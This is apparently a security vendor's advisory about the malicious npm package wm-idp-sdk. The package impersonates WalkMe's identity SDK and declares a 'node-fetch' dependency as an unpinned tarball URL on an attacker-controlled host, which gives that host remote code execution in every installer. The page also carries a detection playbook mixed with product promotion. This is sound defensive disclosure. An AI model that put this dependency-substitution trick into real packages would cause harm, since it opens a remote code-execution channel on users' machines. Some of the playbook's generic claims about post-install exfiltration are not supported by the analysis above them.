Malicious package

wm-idp-sdknpm

wm-idp-sdk is a confirmed malicious npm package (MAL-2026-4808) that typosquats a legitimate package to trick installs (malicious version 1.2.1). Do not install it — remove it immediately and rotate any exposed credentials.

Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall wm-idp-sdk

What this malware does

package.json declares "node-fetch": "https://registry.ctzbg.com/wm-idp-sdk/node-fetch" — a direct HTTPS tarball URL hosted on a domain (registry.ctzbg.com) unrelated to the SDK's apparent publisher (walkme.com). The URL has no version pin, no commit/tag, and no integrity hash, so every npm install fetches whatever bytes the operator of that host currently serves and installs them as the package's node-fetch. dist/main.js then require('node-fetch') at module top, so the fetched code executes in any process that imports wm-idp-sdk. The host owner can swap the payload at any time without republishing wm-idp-sdk, giving them an open code-execution channel into every installer. The package additionally impersonates Walkme's IDP SDK (description references WM Identity Provider, posts to https://ec.walkme.com/event/log, uses storage key wm-ic-idp-end-user-info) while being published by the personal npm account hwmenv rather than the @walkme/* scope — namespace-abuse intent that compounds the install-time-RCE risk.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Detection & response playbook

Typosquat
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for wm-idp-sdk (version 1.2.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging wm-idp-sdk across your stack and pipelines.

  2. If you installed it — respond

    wm-idp-sdk is a typosquat — you almost certainly intended a legitimately-named package. Remove wm-idp-sdk, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

  3. Did it already run?

    If wm-idp-sdk was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks wm-idp-sdk before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions
